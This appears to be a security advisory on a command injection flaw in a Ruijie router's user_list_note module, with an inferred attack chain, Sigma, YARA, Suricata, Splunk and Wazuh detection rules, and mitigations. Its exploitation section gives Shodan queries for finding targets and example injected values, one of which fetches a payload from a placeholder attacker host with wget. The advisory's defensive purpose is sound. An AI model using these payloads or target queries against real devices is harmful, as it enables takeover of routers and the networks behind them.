CVE-2026-92398

Executive Summary

CVE-2026-92398 is an OS command injection vulnerability (CWE-77) in the Ruijie RG-EW3000GX router, specifically within firmware version EW_3.0(1)B11P380. The flaw resides in the user_list_note module and is triggered by manipulating the Name argument in the configuration file /etc/rg_config/admin, allowing a remote attacker to execute arbitrary operating system commands on the device. With a CVSS score of 9.1 (Critical), successful exploitation grants full compromise of confidentiality, integrity, and availability, and the exploit has been made public — though no patch or workaround is currently available.

Technical Analysis

Vulnerability Class and Root Cause

This vulnerability is a classic OS command injection (CWE-77), a class of flaw where user-supplied input is incorporated into a system command without proper neutralization of special elements (e.g., &, |, ;, backticks, $()). When the vulnerable application later executes that command via a shell (e.g., system(), popen(), or similar), an attacker can append arbitrary commands that execute with the privileges of the underlying process.

The NVD description specifies the affected functionality as "some unknown functionality of the file /etc/rg_config/admin of the component user_list_note Module." The manipulation of the Name argument is the injection vector. In Ruijie RG-EW3000GX devices, /etc/rg_config/admin is a configuration storage file (likely a script or data file read/executed by the device's management backend). The user_list_note module handles user list annotations, and the Name field is presumably passed from a web or API interface into that configuration file, and later used in a shell command without sanitization. Because the exact function or command sink is not disclosed in the available data, the precise code path cannot be reconstructed; the vulnerability class and attack surface (the Name argument within the user_list_note module) are, however, explicitly defined.

Attack Surface

• Interface: Network-accessible (AV:N) — the device's administrative web interface or a remote management endpoint.
• Privileges required: High (PR:H) — the attacker must authenticate to the device or possess administrative credentials to reach the vulnerable module and modify the Name parameter.
• Scope: Changed (S:C) — exploitation escapes the vulnerable application's security context to execute commands at the OS level, impacting the entire device.
• User interaction: None (UI:N) — no victim interaction required once access is obtained.

The Name argument is likely submitted via an HTTP request (e.g., a POST to a configuration endpoint) that updates the user_list_note structure. Because the data is persisted in /etc/rg_config/admin and processed by a component that invokes system commands, an attacker who can inject shell metacharacters into Name can achieve remote code execution (RCE).

Why This Is Critical

• Remote exploitability: The attack can be launched over the network.
• Public exploit: The NVD description states the exploit "has been made public and could be used," indicating code or detailed technical steps are circulating.
• High impact: Full loss of confidentiality, integrity, and availability (C:H/I:H/A:H) due to OS-level command execution.
• No patch: No vendor fix, workaround, or updated firmware has been identified.

Exploitation Scenarios

Based strictly on the NVD description and the vulnerability class, the likely attack chain is as follows. No public PoC is included in the provided data; the steps below are inferred from the disclosed parameters and the OS command injection class.

1. Reconnaissance / Target Identification

An attacker scans for internet-exposed Ruijie RG-EW3000GX devices. Shodan dorks such as http.html:"RG-EW3000GX" or product:"Ruijie RG-EW3000GX" can identify candidate targets. The attacker confirms the firmware version EW_3.0(1)B11P380 by inspecting the login page or device banner. Because the vulnerability requires prior authentication (PR:H), the attacker must also obtain valid administrative credentials — through default passwords, credential stuffing, phishing, or prior compromise.

2. Triggering the Flaw

Once authenticated, the attacker navigates to or sends a request to the functionality that manages the user_list_note module. The exact HTTP endpoint or API path is not specified in the available data. The attacker supplies a crafted value in the Name argument. For a typical OS command injection, the payload would include shell metacharacters followed by a command, for example:

Name=legit;reboot; or Name=$(wget http://attacker/payload)

The application writes this value into /etc/rg_config/admin (or processes it in memory), and a subsequent operation executes it as part of a shell command. The exact sink command is unknown from the description, but the vulnerability class confirms that the Name value reaches a command interpreter without neutralization.

3. Payload / Execution Method

At the vulnerability-class level, the injected commands execute with the privileges of the vulnerable process (likely root or a highly privileged daemon on the router). The attacker can therefore:

• Download and execute a reverse shell or second-stage payload.
• Modify firewall rules, routing tables, or DNS settings.
• Persist via cron jobs or startup scripts.

The payload delivery is via the same HTTP request that carries the Name parameter; no user interaction is needed.

4. Post-Exploitation Impact

Because scope is changed and all CIA impacts are high:

• Confidentiality: Full read access to device configuration, stored credentials, network traffic, and connected client data.
• Integrity: Arbitrary modification of device firmware, configuration, and network behavior; potential to pivot into internal networks.
• Availability: Ability to reboot, brick, or disable the device, disrupting network connectivity for all downstream users.

The attacker can use the compromised router as a persistent foothold for further attacks on the internal network (e.g., traffic interception, lateral movement).

Note: No public PoC code, Nuclei template, or exploit repository is referenced in the data. The attack chain described is based solely on the disclosed vulnerable component (user_list_note), the argument (Name), the file (/etc/rg_config/admin), and the OS command injection class.

Impact Assessment

CVSS Breakdown (derived from provided vector)

• Base Score: 9.1 (Critical)
• Attack Vector (AV:N): Network — exploitable remotely without physical access.
• Attack Complexity (AC:L): Low — no special conditions required; public exploit exists.
• Privileges Required (PR:H): High — attacker must authenticate to the device (e.g., admin credentials).
• User Interaction (UI:N): None.
• Scope (S:C): Changed — the vulnerability in the web/config component allows compromise of the OS and other components.
• Confidentiality (C:H): High — full data disclosure.
• Integrity (I:H): High — arbitrary command execution, configuration changes.
• Availability (A:H): High — device can be disabled or destroyed.

Business Impact

• Affected Systems: Ruijie RG-EW3000GX routers running firmware EW_3.0(1)B11P380. These are typically deployed in small office/home office (SOHO), retail, and branch environments.
• Blast Radius: Compromise of the router can expose the entire downstream network. Attackers can intercept or manipulate traffic, pivot to internal hosts, and use the device as a botnet node.
• Operational Risk: Critical — no patch available. Organizations relying on this device for network connectivity face full loss of confidentiality, integrity, and availability.
• Regulatory/Compliance: Potential data breach notification obligations if customer data traverses the device.

Detection Guidance

Sigma Rule

title: Ruijie RG-EW3000GX OS Command Injection via user_list_note Name Parameter
id: 3b8f2a1c-9d4e-4f7a-b2c3-1e5d6f7a8b9c
status: experimental
description: Detects attempts to exploit CVE-2026-92398 by injecting shell metacharacters into the Name argument of the user_list_note module.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-92398
author: Threat Intelligence Team
date: 2026-06-15
tags:
    - attack.t1190
    - cve.2026.92398
logsource:
    category: webserver
    product: ruijie
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'user_list_note'
            - 'Name='
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
        - '&&'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in user notes (unlikely)
level: high

YARA Rule

rule CVE_2026_92398_Ruijie_Command_Injection
{
    meta:
        description = "Detects shell metacharacter injection attempts targeting CVE-2026-92398 in Ruijie RG-EW3000GX"
        author = "Threat Intelligence Team"
        date = "2026-06-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-92398"
        severity = "critical"

    strings:
        $s1 = "user_list_note" ascii wide nocase
        $s2 = "Name=" ascii wide nocase
        $cmd1 = ";" ascii
        $cmd2 = "|" ascii
        $cmd3 = "`" ascii
        $cmd4 = "$(" ascii
        $cmd5 = "&&" ascii
        $cmd6 = "wget " ascii nocase
        $cmd7 = "curl " ascii nocase

    condition:
        ($s1 or $s2) and any of ($cmd*)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-92398 Ruijie RG-EW3000GX OS Command Injection Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"user_list_note"; nocase; http.request_body; content:"Name="; nocase; pcre:"/(Name=.*(;|\||`|\$\(|&&))/i"; classtype:attempted-admin; sid:10092398; rev:1; reference:cve,2026-92398;)

Elastic Detection

sequence by host.id, user.id with maxspan=1m
  [ network where http.request.method == "POST" and
      http.request.body contains "user_list_note" and
      http.request.body contains "Name=" and
      (http.request.body contains ";" or
       http.request.body contains "|" or
       http.request.body contains "`" or
       http.request.body contains "$(" or
       http.request.body contains "&&") ]

Splunk SPL Query

index=web OR index=network (sourcetype=access_combined OR sourcetype=suricata)
| search (uri_path="*user_list_note*" OR request_body="*user_list_note*") AND (request_body="*Name=*")
| regex request_body="Name=.*(;|\||`|\$\(|&&)"
| stats count min(_time) as first_seen max(_time) as last_seen by src_ip, dest_ip, uri_path
| where count > 0
| sort - count

Wazuh OSSEC Rule

<group name="web,ruijie,cve-2026-92398,">
  <rule id="10092398" level="12">
    <decoded_as>web-accesslog</decoded_as>
    <match>user_list_note</match>
    <regex>Name=.*(;|\||`|\$\(|&&)</regex>
    <description>CVE-2026-92398: Ruijie RG-EW3000GX OS command injection attempt via user_list_note Name parameter</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack,command_injection,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source).

1. Immediate Mitigations

• Restrict network exposure: Do not expose the Ruijie RG-EW3000GX management interface (web/API) to the internet. Place it behind a firewall or VPN, and limit access to trusted administrative networks.
• Enforce strong authentication: Because the vulnerability requires high privileges (PR:H), change default admin passwords immediately, enable multi-factor authentication if supported, and audit for unauthorized accounts.
• Input validation at the boundary: Deploy a web application firewall (WAF) or reverse proxy that blocks requests containing shell metacharacters (;, |, `, $(, &&) in parameters targeting user_list_note or the Name field.
• Disable unused features: If the user_list_note module is not required, disable it via the device's administrative interface or CLI (if supported).
• Network segmentation: Isolate the router from critical internal assets to limit lateral movement post-exploitation.

2. Patch/Upgrade Steps

• No patch is currently available. Monitor the Ruijie security advisory page and the NVD entry for CVE-2026-92398 for firmware updates.
• Contact vendor support: Reach out to Ruijie technical support to request a fixed firmware version or mitigation guidance.
• Consider replacement: If the device is critical and no patch is forthcoming, evaluate replacing the affected model with an alternative that supports secure remote management and regular security updates.

3. Long-Term Hardening

• Vulnerability management: Subscribe to CVE feeds and vendor advisories for Ruijie networking equipment.
• Least privilege: Ensure administrative accounts have the minimum necessary privileges; avoid shared admin credentials.
• Network monitoring: Implement the detection rules above to alert on exploitation attempts.
• Firmware discipline: Regularly update router firmware; retire end-of-life devices.
• Zero-trust architecture: Assume network devices can be compromised; segment networks and enforce strict egress filtering.

References

1. NVD — CVE-2026-92398: https://nvd.nist.gov/vuln/detail/CVE-2026-92398
2. CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'): https://cwe.mitre.org/data/definitions/77.html
3. MITRE ATT&CK T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
4. Ruijie Networks Security Advisories (vendor portal): https://www.ruijie.com/en-global/support/security
5. CISA Known Exploited Vulnerabilities Catalog (not listed as of report date): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor / Exploit-in-the-Wild: No specific threat actor campaigns or in-the-wild exploitation evidence are referenced in the provided data. The NVD description states the exploit "has been made public and could be used," indicating a public proof-of-concept or technical details exist, but no CISA KEV listing or active campaign reporting is available at this time.